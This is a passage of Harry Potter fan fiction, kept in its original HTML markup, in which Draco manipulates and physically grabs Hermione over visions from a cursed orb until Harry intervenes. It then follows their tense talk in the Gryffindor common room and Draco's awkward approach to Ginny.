you always twist my words.&#8221; Hermione said in\nirritation.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\ngrinned, standing he tucked his wand into the pocket of his robe as if he\nhadn&#8217;t heard her, &#8220;why are you insisting on keeping the orb, do you really\nstill need it? I&#8217;m sure it&#8217;s shown you who you are.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\ndo you mean?&#8221; Hermione was confused as she stepped closer to him without even\nrealizing it, &#8220;you told me that it shows the future.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;It\ndoes, but it also shows you what you are.&#8221; He looked deeply in her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Her\neyes were swelling with tears knowing that the orb showed her how horrible she\nwas, so many times she had seen herself in the orb slaughtering her friends as\nif they were in a meat packing plant.&nbsp;\nShe felt so ill thinking that, hoping that it wasn&#8217;t true, &#8220;I&#8217;m not like\nthat! I&#8217;m not, I know I&#8217;m not.&#8221; She said trying to convince even herself, but\nit wasn&#8217;t working.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ah,\nI see you&#8217;re not ready to believe what you see. If you cannot trust your eyes\nwhat can you trust?&#8221; Draco&#8217;s smile faded to be replaced by the most serious\nlook he had ever had.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Definitely\nnot you or anything you say. You want me to doubt myself and everything I know.\nWell I&#8217;m not going to.&#8221; She turned her back on him facing the wall.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nknow that bugs me when you do that.&#8221; His voice was firm.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nreally don&#8217;t care what bugs you.&#8221; She snapped looking back at him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nthought a moment and he then remembered that Hermione values her friends lives\nover her own.&nbsp; He would continue with\nthat angle.&nbsp; &#8220;The orb showed you a lot\nabout your friends did it not?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nturned slowly around facing him, &#8220;what?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nknow a lot about the Orb it&#8217;s been in my family for oh I don&#8217;t know how long,\nbut the orb showed you them and you.&nbsp;\nWhat did you see, did you see yourself hurting them?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nstared wide-eyed and she brushed back a strand of hair that dangled in front of\nher eyes with a quick hand. &#8220;Malfoy what did you give me? How do you know what\nI saw?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ngave you a way to see that you always put them before yourself, and you truly\nwish that they were dead and that you are the one who wants to kill them and\nwill eventually. They are not safe, that&#8217;s why you&#8217;re staying away from\nthem.&nbsp; Maybe a head here, and arm there.\nPossibly even keep an ear for your own enjoyment.&#8221; He said in a teasing yet\nserious fashion.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Behind\nthe desk, Harry stared wide eyed. Hermione a murderer, it was impossible. It\nhad to be. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No,\nno not at all I would never wish that on anyone.&nbsp; Not even you.&#8221; She looked down at the ground.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;It\nwas a pretty gruesome what you did, wasn&#8217;t it?&#8221; He moved closer to her, so\nclose that Hermione stepped back. &#8220;How you killed them, one by one slowly so\nyou could hear their pitiful screams to increase you delight, laughing in their\nfaces, that is if they still had them.&#8221; He stepped closer again, and she took\nanother step back.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;How\ndo you know that&#8217;s what I saw?&#8221; There was fear in her eyes as she looked up at\nhim.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nhave seen myself killing people I once thought of as friends, just like\nyou.&nbsp; You feel it don&#8217;t you, something\ndark inside you. Just trying to find away out, and this was it. We are the\nsame.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nstared at him her tears spilling over onto her cheeks, &#8220;You know nothing about\nme, I am nothing like you, I will never be anything like you.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nseemed to lose his temper, &#8220;I know you better than you know yourself.&#8221; He\ndidn&#8217;t yell but his voice was rough. &#8220;I know how you always give love and\naffection to your so called friends. But what have you ever gotten in return?\nNothing, absolutely nothing!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;He paused a moment then looked down at her\nwith a sincerity.&nbsp; &#8220;That&#8217;s because they\ndon&#8217;t like you, they only put up with you. We are all using you in one way or\nanother. What were the circumstances in how you became friends, how do you\nremember it? Oh wait a minute yes they saved your life, so you had to be nice\nto them and they had to be nice to you.&nbsp;\nBut somehow you knew that they could never really call you their friend,\nyou feel the emptiness around them. They flaunt their love affairs in your\nface.&nbsp; Yet when you have one or possibly\ntwo they want to keep you away from any happiness and joy that you could ever\nhave.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp; How long have they been doing this to you,\nhow many years will they always make sure that you are alone and miserable.\nThey laugh in your misery. Isn&#8217;t that how you feel?&nbsp; That could drive anyone to murder.&nbsp;&nbsp; You want them dead so that your suffering\nstops.&#8221; He stepped closer to her and she stepped away again. &#8220;And don&#8217;t even\nget me started on who you really want dead.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nwas interrupted loudly by Hermione screaming at him to &#8220;shut up! You don&#8217;t know\nanything! You don&#8217;t know what you&#8217;re talking about!&#8221;&nbsp;&nbsp; As Draco continued to talk she slammed her\npalms over her ears refusing to listen. &#8220;I&#8217;m not going to listen to you!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nreached up and trying to pull her hands away from her ears, but she wouldn&#8217;t\nlet him. Finally after a few moments he overpowered her and pulled her hands\naway from her ears. &#8220;They lie to you all the time, you know that. I know you\ndon&#8217;t want to face the truth, who does?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nclosed her eyes, as Draco continued, &#8220;You&#8217;re feelings don&#8217;t matter to them, you\nare just a pushover and a doormat. They take you for granted, all you&#8217;re good\nfor is doing their homework and helping them pass their classes.&nbsp; That&#8217;s all, they certainly don&#8217;t see you as\nanything other than a big head, and they think a big head doesn&#8217;t get hurt,\ndoesn&#8217;t feel.&#8221;&nbsp; He walked around her,\nbehind her staring at the back of her head, taking in her long gentle flowing\ncurls, there was no longer any bushiness that he had seen the very first time\nhe had seen her. He watched her head lower, &#8220;I know the thoughts you have, why\nyou have them, and I can help you control them, believe me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nwill never believe you, never.&#8221; She didn&#8217;t turn. &#8220;You have been nothing but\nhurtful and cruel, and you are only being nice to me right now because of&#8212;&#8221; She\ncouldn&#8217;t speak of it.&nbsp; She felt his hands\non her shoulders, and tried to move away but he held her there.&nbsp; &#8220;Don&#8217;t touch me.&#8221; She said firmly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;But\nI want too, this is nice.&#8221; He said slyly.&nbsp;\nThe more she tried to pull away and the harder he held on, till she was\npulled back against him.&nbsp; &#8220;I know about\neverything you long for, and you know you won&#8217;t ever have it.&#8221;&nbsp; He loosened his grip and she didn&#8217;t move she\nknew he was right.&nbsp; &#8220;Why not do what you\nwant for once, why are you always putting others before your own needs?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t need anything.&#8221; Her answer was quick.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\ncould have everything right now, everything would be your way.&#8221; He said in a\nquiet voice his arms reaching around her waist.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">This\ndid not feel right at all, Hermione turned her head slightly looking back at\nhim, &#8220;let go of me right now.&#8221; She said determined. But he did not. Hermione\ntried to squiggle free, &#8220;I&#8217;m not worth all this trouble for you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;You are so worth it, you have no idea of how\nmuch you deserve.&nbsp; You know I can be nice\nbut it is up to you.&#8221;&nbsp; He glanced down\nher back to the hem of her robes and back up.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;Why can&#8217;t you just leave me alone?&#8221; Her voice\nsounding desperate.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry&#8217;s\ntemper exploded and he couldn&#8217;t take it anymore Draco was torturing her mind,\nnot with curses, but it was just as bad. Harry knew she was being hurt and it\nwas so his problem. He couldn&#8217;t just stand there letting Draco do whatever he\nwanted especially with Hermione, just as Harry stood Hermione&#8217;s foot was in the\nair it came slamming down hard on Draco&#8217;s, and that released his hold on her\nwhile stumbling back a little shouting loudly in anger and pain. She tried to\nget away but Draco had grabbed her by the hair making her holler in throbbing\nhot white blinding pain.&nbsp; He wound her\nhair around his hand pulling her back against him, it hurt so much that she\nsank to the ground with him still holding onto her hair.&nbsp; They both saw Harry standing there, Draco\nwith an amused expression and Hermione with a look of absolute horror and not\nto mention the pain with her head snapped back, and in Draco&#8217;s hand full of her\nhair. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;You leave her alone!&#8221; Harry demanded and\nstarted towards them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nstay right there.&#8221; Draco demanded as he pulled trying to get Hermione to stand\nby pulling her hair making her yell.&nbsp;\nHarry stopped moving knowing that Draco would hurt her if he didn&#8217;t\nlisten. &#8220;Come on, up you get.&#8221; Draco said calmly, and Hermione stood.&nbsp; &#8220;Well well, isn&#8217;t\nthis interesting? Tell me how long have you been there?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nlooked between Draco and Hermione, and then down at his feet.&nbsp; He resisted the urge to raise his gaze to\nHermione&#8217;s.&nbsp; He heard what Draco said\nabout lies so he needed to say exactly how long he had been there, &#8220;Since you two\nwalked in.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nlowered his mouth to Hermione&#8217;s ear, &#8220;did you hear that, since we walked in?&#8221;\nHe still held her by the hair, his left hand rested on her shoulder.&nbsp; &#8220;And you heard every single thing that went\non, how she wants to kill her friends, you included of course.&#8221;&nbsp; He looked down at her seeing the tears on her\nface.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nheard that so what, everyone wants to kill their friends during one time or\nanother.&#8221; Harry replied with sarcasm.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ah,\nbut have you ever wanted to kill her?&#8221; Draco replied running an index finger\nacross her chin and up her cheek. He looked down at the side of her face.&nbsp; He didn&#8217;t pull on her hair anymore, but he\ndidn&#8217;t let go either.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No.&#8221;\nHarry simply said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nsmiled still looking at her, &#8220;I think there is something that you need to\nknow&#8212;&#8221; Hermione tried to interrupt him but he stopped her with a &#8220;quiet&#8221; he\nsaid calmly pulling on her hair as if squeezing more liquid out of her eyes as\nhe did. &#8220;Do you realize that this girl&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\ninterrupted him this time, &#8220;I really don&#8217;t care if she wants to kill me, hey I\nprobably deserve it.&nbsp; But if you don&#8217;t\nlet go of her right now you don&#8217;t want to know what I&#8217;ll do to you.&#8221; He\nthreatened.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\ngrinned, &#8220;do you know what it is like to want someone who doesn&#8217;t want you\nback? I know that feeling right now.&#8221; He leaned near to Hermione&#8217;s ear, &#8220;you\nknow what that&#8217;s like don&#8217;t you Granger.&#8221; He watched her eyes instantly close,\n&#8220;that&#8217;s why I usually just ignore it and take what I want anyway, regardless of\nhow it feels for her.&nbsp; But in this case,\nand at this moment I will not force her to do anything she does not want to do.\nIt doesn&#8217;t mean I won&#8217;t change my mind tomorrow and come for what I want.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;Looking down at Hermione, Draco said &#8220;you have\nbored me this evening, all you say is the same things, you are right, you are\nhardly worth a thought, and nobody in their right mind would ever want a\nworthless mudblood like you.&#8221;&nbsp; Draco said in utter disgust, he then looked\nup at Harry, &#8220;you want her, take her.&#8221; He threw her from him roughly at Harry\nwho caught her against him, his arms immediately going around her protectively.\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nglared at Draco with a watch&#8212;your&#8212;back&#8212;because&#8212;I&#8217;m&#8212;going&#8212;to&#8212;kill&#8212; you\nlook.&nbsp; Draco walked right up to Harry and\nleaned closer so that Hermione couldn&#8217;t hear, &#8220;by the way, I knew you were here\nall the time.&nbsp; Consider this a gift from\nme to you.&#8221;&nbsp; Draco was sarcastic as he\nwalked to the door unlocking it, leaving through it.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Sighing\nheavily Harry looked down at the top of Hermione&#8217;s head he had not been this\nclose to her since the lake. &#8220;Are you alright? Did he hurt you?&#8221; His tone was\ncareful.&nbsp; There was a long pause, he\ndidn&#8217;t like this silence, &#8220;Hermione please say something to me, anything. Tell\nme you hate me go ahead I don&#8217;t care just talk to me.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;You were here the whole time?&#8221; Sounding\ncompletely horrified she was silent again.&nbsp;\nEven though she tried to stay away from him he was always there.&nbsp; And it was a good thing he was around this\ntime. &#8220;I&#8212;I don&#8217;t hate you.&#8221; She finally said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp; Harry&#8217;s arms tightened around her.&nbsp; &#8220;Hermione I think we need to have a long\ntalk.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nnodded not looking at him, &#8220;alright.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nturned without saying anything and she went up to the tower with Harry following\nafter her.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco walked swiftly from the\nclass room and he didn&#8217;t see where he was going, and smacked right into someone\nknocking them down. He saw papers flying everywhere.&nbsp; He looked down finding Ginny&#8217;s agitated face.\n&#8220;Heh, sorry&#8221; he grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy watch where you&#8217;re\ngoing!&#8221; she glared up at him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He bent down attempting to\nhelp her pick up her papers, his fingers accidentally brushing against hers a\nfew times.&nbsp; Sending a tingling sensation\nthrough him, he had to take a deep breath.&nbsp;\nHe looked over briefly at her down turned face as she collected her\nthings.&nbsp; Her hair hanging all around her\nshoulders. He resisted the urge to reach out and feel the silky looking\nstrands.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny looked over at him,\n&#8220;thanks.&#8221; She was sarcastic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His mind returning &#8220;look, I\nsaid I was sorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah but you didn&#8217;t mean it,\nyou probably knocked me over on purpose to make me look foolish.&#8221; Ginny was\nsuspicious.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">They\nboth stood, Draco for the first time didn&#8217;t have anything to say, what was the\nmatter with him?&nbsp; He always had tons of\nbrilliant things to say, but now words seemed to fail him.&nbsp; He watched Ginny turn and walk down the hall,\n&#8220;Hey Weasley.&#8221; That sounded awkward, &#8220;I mean Ginny.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What?&#8221;\nShe spun on her heels, her eyes narrowing.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Have\nyou had dinner yet?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No,\nbut why should it concern you if I had or not?&#8221; Suspicion echoed in her voice.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;I know the kitchens are still open till nine,\nI mean if you want&#8212;&#8221; He was cut off.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Are\nyou suggesting I eat my dinner with you?&#8221; She sounded offended. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Why\nnot?&#8221;&nbsp; Draco </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Probably\nbecause I find it revolting that I have to breathe the same air as you.&#8221; She\ninsulted.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ncan understand,&#8221; He looked up towards the wall as if he weren&#8217;t interested in\nher at all. &#8220;I mean really you are no way in the right standard to share my\nair, and the other Slytherins know that too. But I thought you had more self\nworth. But I guess they are right.&nbsp; You\nare not worthy of breathing Slytherin air.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Is\nthat so,&#8221; Ginny glared, &#8220;I&#8217;ll show them. Fine let&#8217;s go.&#8221; She said proudly and\nstarted down the hall with Draco trying to catch up completely satisfied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">****</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">After\na quiet stroll around in different directions of Hogwarts halls and corridors,\nBoth Harry and Hermione finally made it to the Gryffindor common room.&nbsp; Noticing it was empty, which was odd\nconsidering it was Friday night and only half after nine.&nbsp; Harry then remembered there was a party in\nthe Ravenclaw house and the Gryffindors were invited.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp; But thoughts of the party leapt from his mind\nwhen he heard shuffling next to him, he turned and saw Hermione slip her feet\nout of her shoes and taking off her school robe revealing a white satin shirt\nand black lace short skirt. He found himself staring down the length of her\nlegs.&nbsp; Feeling guilty about thinking\nabout her in that particular way right now, he wanted to talk to her she needed\na friendly ear.&nbsp; And he would give that\nto her and try to resist the temptation that was Hermione.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nmanaged to lift his gaze to see that she was laying her robe neatly across the\ntable behind the sofa and took a seat, she pulled her skirt down a little and\nstretched her legs straight.&nbsp; She folded\nher arms across her chest and stared at the far wall.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nremoved his robe and tossed it on the chair next to the sofa, it crumpled on\nthe cushion then flopped to the floor.&nbsp;\nHe really didn&#8217;t care about how neat it looked he would pick it up\nlater.&nbsp; Harry sat down on the sofa next\nto Hermione not knowing where to begin, it had been at least two weeks, maybe\nmore since he&#8217;s even had one word with her. &#8220;So Hermione, how have you\nbeen?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlowered her arms from her chest and began twisting her fingers together, she\nlooked down into her lap &#8220;not good.&#8221; She said quietly and was silent again.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nknow you don&#8217;t like hearing this.&#8221; Harry started, &#8220;but it is better to talk\nabout all the things that are bothering you, or have happened with a\nfriend.&#8221;&nbsp; He paused a moment trying to\nthink of something else that would be helpful. &#8220;And I thought that&#8217;s what we\nwere.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;That\nwas before,&#8221; Hermione turned her head looking at him. &#8220;Things are different\nnow.&#8221; Her voice was quiet and steady.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;How\nare they different, is this about Malfoy and what he said in Binns&#8217;s\nclassroom?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;In\na way that&#8217;s half of it.&#8217; She sighed largely &#8220;I just never thought of myself\ncapable of hurting people.&nbsp; I&#8217;ve seen\nmyself doing that over and over again.&#8221; She turned looking right at him, &#8220;I was\nhurting Ron, Ginny, and even you. And I was enjoying it.&#8221; Hermione shuddered\nwith the thought and turned from him.&nbsp; &#8220;I\nwish he never gave me that stupid Orb.&#8221; She said under her breath, but she knew\nHarry heard her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\nOrb?&#8221; Harry asked, he had to be careful he already knew about it so he had to\nchoose his words very carefully.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nleaned against the back of the sofa looking up at the ceiling, &#8220;it is called\nthe Orb of Ellia, it is suppose to show you your future.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;And\nyou think you saw your future?&#8221; He leaned his arm against this sofa cushion\nleaning his head against it watching her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nknow I did.&#8221; Her eyes never left the ceiling.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\ndo know that there isn&#8217;t only one possible future, there are so many paths that\nwe must face.&nbsp; Nothing is carved in\nstone.&#8221; <i style="mso-bidi-font-style:normal">Wow that made sense</i>. He\nthought to himself trying not to smile in his wisdom.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;That\nmay be true, but do you want to risk your life and just hope that, that future\ndoesn&#8217;t happen?&#8221; She turned looking at him, &#8220;I don&#8217;t want you to have to worry\nabout someone else trying to harm you.&nbsp;\nYou have plenty to worry about, and you&#8217;ve had enough suffering.&#8221;&nbsp; She sighed deeply, &#8220;it&#8217;s better if you and\neveryone else I care about just stays away from me.&nbsp; Even if it is just a speculation that it&#8217;s\none of the paths I might take.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nwas silent this time, she did have a point. But it wasn&#8217;t a very strong one she\nonly knows what the orb was telling her. It did come from Draco so it very well\ncould be just a trick.&nbsp; He watched her\nreach for her robe on the table behind the sofa, where he saw her pull her wand\nfrom her robe pocket, holding it in her right hand. &#8220;What are you going to do\nwith that?&#8221; He sat up straight thinking what if she was right and she was going\nto kill him.&nbsp; <i style="mso-bidi-font-style:\nnormal">No, no don&#8217;t think that. She is not a killer</i>. He said to himself.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlooked down at her wand, and then into his eyes, &#8220;if you want I can put a\nmemory charm on you so that you won&#8217;t remember me or that we were friends.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nshook his head, &#8220;Hermione I would never not want to know you.&#8221; He did not want\nto believe she had just suggested that.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nwouldn&#8217;t even remember that you knew me at all, so what would it hurt?&#8221; She\nreplied sounding very serious. &#8220;It would be for your own good and I wouldn&#8217;t be\nsuch a bother to you anymore.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Is\nthat what you think, you think you&#8217;re a bother to me?&nbsp; That is just not true; don&#8217;t let Malfoy&#8217;s\nwords cloud your thoughts. He is so wrong.&#8221;&nbsp;\nHe watched her knowing that she wasn&#8217;t listening to him, as she held her\nwand up to open her mouth to speak.&nbsp; It\nwas not her right to take away his memories of her. Harry quickly grabbed her\nhand and pointed it up towards the ceiling as the last words of the spell came\nout and shot up out of the wand and faded.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nfelt her trying to pull her hand out of his; he was not going to let her do\nthat.&nbsp; With his hand holding onto hers\ntightly, he moved his fingers trying to pry her fingers from around the wand.\nHe succeeded.&nbsp; Then with her hand inside\nhis, he used hers to throw the wand to the ground.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Both\nHarry and Hermione watched her wand 